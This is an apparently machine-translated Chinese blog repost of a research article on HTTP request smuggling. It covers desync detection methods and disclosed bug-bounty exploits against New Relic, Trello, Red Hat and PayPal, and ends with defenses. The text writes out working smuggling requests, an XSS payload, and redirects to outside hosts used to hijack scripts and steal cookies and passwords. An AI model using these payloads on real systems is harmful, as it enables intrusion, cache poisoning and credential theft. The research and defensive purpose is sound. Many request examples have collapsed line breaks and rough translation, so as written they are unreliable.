http走私

HTTP取消同步攻击:请求走私重生

前言

传统上,HTTP请求被视为独立的独立实体。在本文中,我将探索被遗忘的技术,这些技术可以使远程未经身份验证的攻击者粉碎这种隔离并将他们的请求分解为其他内容,从而使我能够利用众多商业和军事系统的网络基础设施来扮演伪装者,访客,并获得超过$ 70k的错误赏金。

我将使用这些目标作为案例研究,向您展示如何微妙地修改受害者的请求,以将其路由到恶意领域,调用有害的响应以及将凭据吸引到您的手中。我还将演示如何在您自己的请求上使用后端重组,以利用放置在前端的各种信任,获得对内部API的最大特权访问,破坏Web缓存,并破坏PayPal的登录页面。

HTTP Request Smuggling最早是在2005年由Watchfire记录的,但是由于其难度和附带损害而,多年来,随着Web的易感性不断提高,它几乎一直被忽略。除了新的攻击变体和利用方式之外,我还将帮助您使用自定义开源工具和完善的方法来解决这一问题,以可靠的黑盒检测,评估和利用,同时将附带损害的风险降至最低。

核心概念

从HTTP / 1.1开始,广泛支持通过单个基础TCP或SSL / TLS套接字发送多个HTTP请求。该协议非常简单-HTTP请求简单地背对背放置,服务器解析标头以计算出每个结束的位置以及下一个开始的位置。这通常与HTTP流水线混淆,HTTP流水线是一种稀有的子类型,对于本文中描述的攻击而言并不是必需的。

就其本身而言,这是无害的。但是,现代网站由系统链组成,所有系统都通过HTTP进行通信。这种多层体系结构接收来自多个不同用户的HTTP请求,并通过单个TCP / TLS连接路由它们:

image-20210825141447364

这意味着突然之间,后端与前端就每个消息的结束位置达成一致至关重要。否则,攻击者可能能够发送模糊的消息,该消息被后端解释为两个不同的HTTP请求:

image-20210825141530722

这使攻击者能够在下一个合法用户的请求开始时添加任意内容。在整个本文中,被走私的内容将被称为“前缀”,并以橙色突出显示。

让我们想象一下,前端优先考虑第一个内容长度标头,而后端优先考虑第二个内容长度标头。从后端的角度来看,TCP流可能类似于:

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5

12345GPOST / HTTP/1.1
Host: example.com
…

在后台,前端将蓝色和橙色数据转发到后端,后端仅在发出响应之前读取蓝色内容。这会使后端套接字充满橙色数据。当合法的绿色请求到达时,它最终会附加在橙色内容上,从而导致意外的响应。

在此示例中,注入的“ G”将破坏绿色用户的请求,并且他们很可能会获得“未知方法GPOST”的响应。

本文中的每种攻击都遵循这种基本格式。《 Watchfire》论文描述了一种称为“向后请求走私”的替代方法,但这依赖于前端和后端系统之间的流水线操作,因此很少有这种选择。

在现实生活中,双重内容长度技术很少起作用,因为许多系统明智地拒绝具有多个内容长度标头的请求。相反,我们将使用分块编码来攻击系统-这次我们有了RFC 2616规范:

如果收到的消息同时带有一个Transfer-Encoding头域和一个Content-Length头域,则后者必须被忽略。

由于该规范隐式允许同时使用Transfer-Encoding:chunked和Content-Length处理请求,因此很少有服务器拒绝此类请求。每当我们找到一种在链中的一台服务器中隐藏Transfer-Encoding标头的方法时,它都会退回到使用Content-Length的方式,并且可以使整个系统不同步。

您可能对分块编码不太熟悉,因为Burp Suite之类的工具会自动将分块的请求/响应缓冲到常规消息中,以便于编辑。在分块消息中,主体由0个或更多块组成。每个块均由块大小,后跟换行符(\ r \ n)和块内容组成。消息以大小为0的块终止。这是使用块编码的简单去同步攻击:

POST / HTTP/1.1Host: example.comContent-Length: 6Transfer-Encoding: chunked0GPOST / HTTP/1.1Host: example.com

我们并没有在这里隐藏Transfer-Encoding标头,因此,此漏洞利用将主要在前端根本不支持分块编码的系统上起作用-这种行为在使用内容交付网络Akamai的许多网站上都可见。更新:尽管尚未发布任何公共咨询,但Akamai在此文章发布后大约48小时内部署了修复程序。

如果后端不支持分块编码,则需要翻转偏移量:

POST / HTTP/1.1Host: example.comContent-Length: 3Transfer-Encoding: chunked6PREFIX0POST / HTTP/1.1Host: example.com

这项技术在很多系统上都可以使用,但是我们可以通过使Transfer-Encoding头更难发现来利用更多的东西,从而使一个系统看不到它。这可以通过使用服务器HTTP解析中的差异来实现。这是一些请求示例,其中只有一些服务器可以识别Transfer-Encoding:块头。在此研究过程中,每种方法均已成功用于开发至少一个系统:

Transfer-Encoding: xchunked``Transfer-Encoding : chunked``Transfer-Encoding:[tab]chunked``X: X[\n]Transfer-Encoding: chunked

如果前端服务器和后端服务器都拥有这些怪癖,那么这些怪癖都是无害的,否则就会构成重大威胁。有关更多技术,请查看regilero正在进行的研究。我们将很快使用其他技术查看实际示例。

方法

请求走私背后的理论很简单,但是不受控制的变量的数量以及我们对前端背后所发生事件的完全缺乏可见性会导致复杂化。

我已经开发出了应对这些挑战的技术和工具,并将它们组合成以下简单的方法,利用这些方法,我们可以找出请求走私漏洞并证明其影响:

image-20210825141704466

检测

检测请求走私漏洞的一种明显方法是发出一个模棱两可的请求,然后发出一个正常的“受害者”请求,然后观察后者是否收到意外响应。但是,这极易受到干扰。如果另一个用户的请求在我们的受害者请求之前命中了中毒的套接字,那么他们将获得损坏的响应,我们将不会发现该漏洞。这意味着在流量很大的实时站点上,如果不利用过程中的大量真实用户,就很难证明存在请求走私行为。即使在没有其他流量的站点上,您也会冒由终止连接的应用程序级怪癖引起的误报的风险。

为了解决这个问题,我开发了一种检测策略,该策略使用一系列消息使脆弱的后端系统挂起并超时连接。该技术几乎没有误报,可以抵制可能导致误报的应用程序级怪癖,而且最重要的是几乎没有影响其他用户的风险。

假设前端服务器使用Content-Length标头,而后端使用Transfer-Encoding标头。我将这种定位简称为CL.TE。我们可以通过发送以下请求来检测潜在的请求走私:

POST /about HTTP/1.1Host: example.comTransfer-Encoding: chunkedContent-Length: 41ZQ

由于较短的Content-Length,前端将仅转发蓝色文本,而后端将在等待下一个块大小时超时。这将导致明显的时间延迟。

如果两个服务器都处于同步状态(TE.TE或CL.CL),则该请求将被前端拒绝,或者被两个系统无害处理。最后,如果以相反的方式发生同步(TE.CL),则由于无效的块大小'Q',前端将拒绝该消息,而不会将其转发到后端。这样可以防止后端套接字中毒。

我们可以使用以下请求安全地检测TE.CL取消同步:

POST /about HTTP/1.1Host: example.comTransfer-Encoding: chunkedContent-Length: 60X

多亏了终止的“ 0”块,前端只能转发蓝色文本,而后端将超时,等待X到达。

如果反同步发生在其他方向(CL.TE),则此方法将使X毒化后端套接字,从而可能损害合法用户。幸运的是,通过始终先运行先前的检测方法,我们可以排除这种可能性。

这些请求可以调整为针对标头解析中的任意差异,并通过HTTP Request Smuggler(用于帮助解决此类攻击的开源Burp Suite扩展)自动识别请求走私漏洞。现在,它们还用于Burp Suite的核心扫描仪中。尽管这是服务器级别的漏洞,但是单个域上的不同终结点经常被路由到不同的目的地,因此,该技术应单独应用于每个终结点。

确认

在这一点上,您已经竭尽所能,而不会冒其他用户的副作用。但是,许多客户将不愿意在没有进一步证据的情况下认真对待报告,所以这就是我们要得到的。展示请求走私的全部潜力的下一步是证明后端套接字中毒是可能的。为此,我们将发出一个旨在毒害后端套接字的请求,然后发出一个希望成为毒害受害者的请求,从而明显改变响应。

如果第一个请求导致错误,则后端服务器可以决定关闭连接,丢弃中毒的缓冲区并破坏攻击。通过针对旨在接受POST请求的端点并保留任何预期的GET / POST参数来尝试避免这种情况。

一些站点具有多个不同的后端系统,前端会查看每个请求的方法,URL和标头,以确定将其路由到何处。如果受害者请求被路由到与攻击请求不同的后端,则攻击将失败。因此,“攻击”和“受害者”请求最初应尽可能相似。

如果目标请求如下所示:

POST /search HTTP/1.1Host: example.comContent-Type: application/x-www-form-urlencodedContent-Length: 11q=smuggling

然后,尝试进行CL.TE套接字中毒将类似于:

POST /search HTTP/1.1Host: example.comContent-Type: application/x-www-form-urlencodedContent-Length: 53Transfer-Encoding: zchunked11=x&q=smuggling&x=0GET /404 HTTP/1.1Foo: bPOST /search HTTP/1.1Host: example.com… 

如果攻击成功,则受害者请求(绿色)将得到404响应。

TE.CL攻击看起来很相似,但是需要一个封闭块,这意味着我们需要自己指定所有标头并将受害人请求放置在正文中。确保前缀中的Content-Length略大于主体:

POST /search HTTP/1.1Host: example.comContent-Type: application/x-www-form-urlencodedContent-Length: 4Transfer-Encoding: zchunked96GET /404 HTTP/1.1X: x=1&q=smugging&x=Host: example.comContent-Type: application/x-www-form-urlencodedContent-Length: 100x=0POST /search HTTP/1.1Host: example.com  

如果该站点处于活动状态,则另一个用户的请求可能会在您之前打中毒的套接字,这将使您的攻击失败并可能使该用户不高兴。结果,此过程通常需要几次尝试,而在人流量大的站点上可能需要数千次尝试。请保持谨慎和克制,并在可能的情况下定位登台服务器。

探索

我将使用一系列实际网站来演示其余方法。像往常一样,我专门针对那些明确表示愿意通过运行漏洞赏金计划与安全研究人员合作的公司。由于私有程序的泛滥和令人昏昏欲睡的补丁程序时间,令人遗憾的是我不得不删除了很多内容。在明确命名网站的地方,请记住,它们是目前可以抵御这种攻击的少数几个网站之一。

现在我们已经确定套接字中毒是可能的,下一步是收集信息,以便我们可以进行有根据的攻击。

前端通常会添加和重写HTTP请求标头(例如X-Forwarded-Host和X-Forwarded-For)以及许多自定义名称,这些名称通常很难猜测。我们的走私请求可能缺少这些标头,这可能导致意外的应用程序行为和失败的攻击。

幸运的是,有一个简单的策略,我们可以部分拉开帷幕,并获得对这些隐藏标题的可见性。这使我们可以通过手动添加标头来恢复功能,甚至可以发起进一步的攻击。

只需在目标应用程序上找到一个反映POST参数的页面,对参数进行混洗,使所反射的参数位于最后,请稍微增加Content-Length,然后走私产生的请求:

POST / HTTP/1.1Host: login.newrelic.comContent-Length: 142Transfer-Encoding: chunkedTransfer-Encoding: x0POST /login HTTP/1.1Host: login.newrelic.comContent-Type: application/x-www-form-urlencodedContent-Length: 100…login[email]=asdfPOST /login HTTP/1.1Host: login.newrelic.com 绿色请求将在登录到login [email]参数之前由前端重写,因此当它反射回去时,它将泄漏所有内部标头:

通过增加Content-Length标头,您可以逐渐检索更多信息,直到您尝试读取超出受害者请求的末尾并且超时为止。

一些系统完全依赖于前端系统来确保安全性,并且一旦您过去就可以直接进入华尔兹。在login.newrelic.com上,“后端”系统是代理独立系统,因此需要进行更改走私的Host标头允许我访问不同的New Relic系统。最初,我遇到的每个内部系统都以为我的请求是通过HTTP发送的,并通过重定向进行了响应:

...GET / HTTP/1.1Host: staging-alerts.newrelic.comHTTP/1.1 301 Moved PermanentlyLocation: https://staging-alerts.newrelic.com/

使用前面观察到的X-Forwarded-Proto标头可以很容易地解决此问题:

...GET / HTTP/1.1Host: staging-alerts.newrelic.comX-Forwarded-Proto: httpsHTTP/1.1 404 Not FoundAction Controller: Exception caught 

通过一些内容发现,我在目标上找到了一个有用的端点:

...GET /revision_check HTTP/1.1Host: staging-alerts.newrelic.comX-Forwarded-Proto: httpsHTTP/1.1 200 OKNot authorized with header:该错误消息清楚地告诉我,我需要某种授权标头,但一直无法命名。我决定尝试前面看到的'X-nr-external-service'标头:

不幸的是,这不起作用-导致了我们尝试直接访问该URL时已经看到的相同的“禁止访问”响应。这表明前端使用X-nr-external-service标头指示请求来自互联网,并且通过走私并因此丢失标头,我们无意中欺骗了他们的系统,以为我们的请求源自内部。这非常有教育意义,但没有直接用处-我们仍然需要缺少授权标头的名称。

在这一点上,我可以将处理后的请求反射技术应用于一系列端点,直到找到具有正确请求头的端点为止。相反,我决定从上次入侵New Relic以来作弊并查阅我的笔记。这揭示了两个宝贵的标头-服务器网关帐户ID和服务网关Is Newrelic管理。使用这些,我能够获得对其内部API的完全管理员级别的访问权限:

POST /login HTTP/1.1Host: login.newrelic.comContent-Length: 564Transfer-Encoding: chunkedTransfer-encoding: cow0POST /internal_api/934454/session HTTP/1.1Host: alerts.newrelic.comX-Forwarded-Proto: httpsService-Gateway-Account-Id: 934454Service-Gateway-Is-Newrelic-Admin: trueContent-Length: 6…x=123GET...HTTP/1.1 200 OK{ "user": {    "account_id": 934454,    "is_newrelic_admin": true }, "current_account_id": 934454 …} 

New Relic部署了一个修补程序,并将根本原因诊断为F5网关中的漏洞。该报告现已公开披露。据我所知,没有可用的补丁程序,这意味着在撰写本文时仍为零日。 更新: F5 于2019年8月25日为此发布了咨询K50375550

利用

当可以正常使用内部API时,它是很好的选择,但很少是我们唯一的选择。我们还可以对浏览目标网站的每个人发起各种各样的攻击。

为了确定我们可以对其他用户应用的攻击,我们需要了解我们可以中毒哪种类型的请求。从“确认”阶段重复进行套接字中毒测试,但是要反复调整“受害者”请求,直到它类似于典型的GET请求为止。您可能会发现只能使用某些方法,路径或标头中毒请求。另外,请尝试从其他IP地址发出受害者请求-在极少数情况下,您可能会发现您只能毒害源自同一IP的请求。

最后,检查网站是否使用网络缓存;这些可以帮助绕过许多限制,增强我们对资源中毒的控制,并最终使请求走私漏洞的严重性成倍增加。

商店

如果应用程序支持编辑或存储任何类型的文本数据,则利用将非常容易。通过在受害者的请求之前加上精心设计的存储请求,我们可以使应用程序保存他们的请求并将其显示给我们-然后窃取任何身份验证Cookie /标头。这是一个使用Trello的配置文件编辑终结点的示例:

POST /1/cards HTTP/1.1
Host: trello.com
Transfer-Encoding:[tab]
chunkedContent-Length: 49

fPUT /1/members/1234 HTTP/1.1
Host: trello.com
Content-Type: application/x-www-form-url
encodedContent-Length: 400x=x&csrf=1234&username=testzzz&bio=cake0GET / HTTP/1.1Host: trello.com

一旦受害者的请求到达,它将最终保存在我的个人资料中,公开他们所有的标头和cookie:

image-20210825141806830

使用此技术的唯一主要“陷阱”是,您将丢失在“&”之后出现的所有数据,这使得很难从表单编码的POST请求中窃取主体。我花了一段时间尝试通过使用替代请求编码来解决此限制,并最终放弃了,但我仍然怀疑这是有可能的。

数据存储的机会并不总是那么明显。在另一个站点上,我能够使用“联系我们”表格,最终触发了一封包含受害者请求的电子邮件,并额外赚取了2500美元。

攻击

能够将任意前缀应用于其他人的响应也为攻击提供了另一条途径:触发有害响应。

使用有害响应的主要方法有两种。最简单的方法是发出“攻击”请求,然后等待其他人的请求击中后端套接字并触发有害响应。一个更棘手但更强大的方法是自己发出“攻击”和“受害者”请求,并希望通过网络缓存保存对受害者请求的有害响应,并将其提供给其他任何访问相同URL的人-网络缓存中毒。

在以下每个请求/响应片段中,黑色文本是对第二个(绿色)请求的响应。对第一个(蓝色)请求的响应被忽略,因为它不相关。

升级XSS

在审核SaaS应用程序时,Param Miner发现了一个名为SAML的参数,而Burp的扫描仪确认它很容易受到反射XSS的攻击。Reflected XSS本身很不错,但是由于需要用户交互,因此难以大规模利用。

借助请求走私,我们可以向包含XSS的响应提供服务,以向积极浏览网站的随机人员提供服务,从而实现直接的大规模利用。我们还可以访问身份验证标头和仅HTTP cookie,从而可能使我们转向其他域。

POST / HTTP/1.1Host: saas-app.comContent-Length: 4Transfer-Encoding : chunked10=x&cr={creative}&x=66POST /index.php HTTP/1.1Host: saas-app.comContent-Length: 200SAML=a">alert(1)POST / HTTP/1.1Host: saas-app.comCookie: …HTTP/1.1 200 OK…alert(1)0POST / HTTP/1.1Host: saas-app.comCookie: …"/>

掌握DOM

在www.redhat.com上寻找与请求走私相关的漏洞时,我发现了一个基于DOM的开放重定向,这提出了一个有趣的挑战:

GET /assets/idx?redir=//redhat.com@evil.net/ HTTP/1.1Host: www.redhat.comHTTP/1.1 200 OKvar destination = getQueryParam('redir')[poor filtering]document.location = destination

``页面上的一些JavaScript正在从受害者浏览器的查询字符串中读取“ redir”参数,但是我该如何控制它呢?请求走私使我们可以控制服务器认为查询字符串的内容,但是受害者的浏览器对查询字符串的感知只是他们试图访问的任何页面。

我可以通过在服务器端非开放式重定向中进行链接来解决此问题:

POST /css/style.css HTTP/1.1Host: www.redhat.comContent-Type: application/x-www-form-urlencodedContent-Length: 122Transfer-Encoding: chunked0POST /search?dest=../assets/idx?redir=//redhat.com@evil.net/ HTTP/1.1Host: www.redhat.comContent-Length: 15x=GET /en/solutions HTTP/1.1Host: www.redhat.comHTTP/1.1 301 FoundLocation: ../assets/idx?redir=//redhat.com@evil.net/

受害者浏览器将收到301重定向到https://www.redhat.com/assets/idx.html?redir=//redat.com@evil.net/,然后将执行基于DOM的开放重定向并将其转储在evil.net上

CDN链接

一些网站使用多层反向代理和CDN。这为我们提供了更多的去同步机会,这总是被人们所赞赏,并且通常还会增加严重性。

一个目标是以某种方式使用两层Akamai,尽管服务器由同一供应商提供,但也可以使它们不同步,从而可以在受害者网站上的Akamai网络上的任何位置提供内容:

POST /cow.jpg HTTP/1.1Host: redacted.com Content-Type: application/x-www-form-urlencoded Content-Length: 50 Transfer-Encoding: chunked 0 GET / HTTP/1.1 Host: www.redhat.com X: XGET...Red Hat - We make open source technologies for the enterprise

同样的概念适用于SaaS提供商。通过将请求定向到基于相同平台构建的不同系统,我能够利用基于著名SaaS平台构建的关键网站。

“无害”回应

由于走私请求使我们能够影响对任意请求的响应,因此一些通常无害的行为变得可利用。例如,即使是谦虚的开放重定向,也可以通过将JavaScript导入重定向到恶意域来破坏帐户。

使用307代码的重定向特别有用,因为在发出POST请求后收到307的浏览器会将POST重新发送到新的目的地。这可能意味着您可以使不知情的受害者将其纯文本密码直接发送到您的网站。

经典的开放式重定向本身很常见,但是有一种变体在整个Web上很普遍,因为它源于Apache和IIS中的默认行为。人们通常认为它是无害的,并且几乎每个人都忽略了它,因为没有像请求走私这样的伴随漏洞,它的确是无用的。如果您尝试访问不带斜杠的文件夹,则服务器将使用主机头中的主机名以重定向响应来追加斜杠:

POST /etc/libs/xyz.js HTTP/1.1Host: redactedContent-Length: 57Transfer-Encoding: chunked0POST /etc HTTP/1.1Host: burpcollaborator.netX: XGET /etc/libs/xyz.js HTTP/1.1HTTP/1.1 301 Moved PermanentlyLocation: https://burpcollaborator.net/etc/ 

使用此技术时,请密切注意重定向中使用的协议。您可能可以使用X-Forwarded-SSL之类的标头来影响它。如果它卡在HTTP上,并且您正在攻击HTTPS站点,则受害人的浏览器将由于其混合内容保护而阻止了该连接。有两个已知的例外 -可以完全绕过Internet Explorer的混合内容保护,并且如果重定向目标位于其HSTS缓存中,则Safari会将连接自动升级到HTTPS。

Web缓存中毒

在特定网站上尝试基于重定向的攻击几小时后,我在浏览器中打开了他们的主页,以寻找更多攻击面,并在开发控制台中发现以下错误:

image-20210825141851508

无论我从哪台计算机加载网站,都会发生此错误,并且IP地址看起来非常熟悉。在我的重定向探查期间,在我的受害者请求和中毒响应已由缓存保存之前,其他人对图像文件的请求已经进入。

这很好地说明了潜在的影响,但总体而言并不是理想的结果。除了依靠基于超时的检测之外,无法完全消除意外的缓存中毒的可能性。就是说,为了最大程度地降低风险,您可以:

-确保“受害者”请求具有缓存无效化功能。
-使用Turbo Intruder尽快发送“受害者”请求。
-尝试制作可触发带有反缓存标头的响应的前缀或不太可能被缓存的状态代码。
-在处于睡眠状态的地理区域中定位前端。

Web缓存欺骗

如果我们不试图减轻攻击者/用户混合响应被缓存的机会,该怎么办呢?

我们可以尝试使用受害者的Cookie来获取包含敏感信息的响应,而不是使用旨在引起有害响应的前缀:

POST / HTTP/1.1Transfer-Encoding: blah0GET /account/settings HTTP/1.1X: XGET /static/site.js HTTP/1.1Cookie: sessionid=xyz前端角度:

当用户对静态资源的请求击中了中毒的套接字时,响应将包含其帐户详细信息,并且缓存会将这些详细信息保存在静态资源中。然后,我们可以通过从缓存加载/static/site.js来检索帐户详细信息。

这实际上是Web缓存欺骗攻击的新变种。它在两个关键方面更强大-不需要任何用户交互,也不需要目标站点允许您使用扩展程序。唯一要注意的是,攻击者无法确定受害者的反应将到达何处。

Paypal

通过将请求走私链接到缓存中毒,我得以持久地劫持了许多JavaScript文件。其中之一是在PayPal登录页面上使用的网址:https : //c.paypal.com/webstatic/r/fb/fb-all-prod.pp2.min.js。

POST /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 Host: c.paypal.comContent-Length: 61 Transfer-Encoding: chunked0GET /webstatic HTTP/1.1Host: skeletonscribe.net?X: XGET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 Host: c.paypal.comConnection: closeHTTP/1.1 302 FoundLocation: http://skeletonscribe.net?, c.paypal.com/webstatic/ 

但是,出现了一个问题-PayPal的登录页面使用了Content Security Policy和script-src,该脚本杀死了我的重定向。

image-20210825141925165

最初看起来像是纵深防御的胜利。但是,我注意到登录页面在动态生成的iframe中将c.paypal.com上的子页面加载了。该子页面未使用CSP,还导入了我们的中毒JS文件。这使我们可以完全控制iframe的内容,但是由于Same Origin Policy,我们仍然无法从父页面读取用户的PayPal密码。

image-20210825142002268

然后,我的同事Gareth Heyes在paypal.com/us/gifts上发现了一个不使用CSP的页面,并且还导入了我们中毒的JS文件。通过使用我们的JS将c.paypal.com iframe重定向到该URL(并第三次触发我们的JS导入),我们终于可以访问父级并从使用Safari或IE登录的每个人那里窃取纯文本的PayPal密码。

image-20210825142137559

PayPal通过将Akamai配置为拒绝包含Transfer-Encoding:块头的请求来迅速解决此漏洞,并获得了18,900美元的赏金。

几周后,在发明和测试一些新的不同步技术时,我决定尝试使用换行标头:

Transfer-Encoding: chunked

这似乎使Transfer-Encoding标头对于Akamai完全不可见,Akamai允许它通过并再次授予我对PayPal登录页面的控制权。PayPal迅速应用了更强大的解决方案,并获得了令人印象深刻的20,000美元。一个总结两个报告已公开披露,从贝宝的声明。

演示版

另一个目标使用了一系列反向代理,其中一个代理没有将“ \ n”视为有效的标头终止符。这意味着他们的Web基础结构中有很大一部分容易受到请求走私的攻击。我已经录制了一个演示,演示如何使用HTTP Request Smuggler在其Bugzilla安装副本中有效地识别和利用此漏洞,该副本包含一些极其敏感的信息。

防御

像往常一样,安全性伴随着简单性。如果您的网站没有负载平衡器,CDN和反向代理,则此技术不是威胁。引入的层越多,您越容易受到攻击。

每当我讨论攻击技术时,都会被问到HTTPS是否阻止了它。与往常一样,答案是“否”。也就是说,可以通过将前端服务器配置为专门使用HTTP / 2与后端系统进行通信,或者通过完全禁用后端连接重用来解决此漏洞的所有变体。或者,您可以确保链中的所有服务器都以相同的配置运行相同的Web服务器软件。

可以通过在重新路由前端服务器之前将前端服务器重新配置为规范化歧义请求来解决此漏洞的特定实例。对于不希望使客户易受攻击的CDN,这可能是唯一可行的解决方案,而Cloudflare和Fastly似乎已成功应用了该解决方案。

后端服务器不能选择规范化请求-它们需要彻底拒绝模棱两可的请求,并删除关联的连接。由于拒绝请求比仅对请求进行规范化更可能影响合法流量,因此我建议重点关注防止通过前端服务器走私请求。

当您的工具对您不利时,有效的防御是不可能的。大多数网络测试工具在发送请求时会自动“纠正” Content Length标头,从而使请求走私成为不可能。在Burp Suite中,您可以使用“中继器”菜单禁用此行为-确保您选择的工具具有相同的功能。此外,某些公司和漏洞赏金平台会通过Squid等代理将测试人员的流量路由到监控目的。这些将破坏测试人员发起的任何请求走私攻击,确保公司针对此漏洞类别的覆盖率为零。

与大多数类型的Web漏洞不同,即使是有缺陷的请求走私攻击也可能产生副作用。对于希望获得请求走私经历的任何人来说,这使得实时网站成为培训场所的不佳选择。为了解决这个问题,我们发布了免费的学习资源,其中包含故意易受攻击的交互式网站,因此您可以在安全可控的环境中开始学习:访问Web安全学院


参考

posted @ 2020-04-15 18:09  tomyyyyy  阅读(717)  评论(0编辑  收藏  举报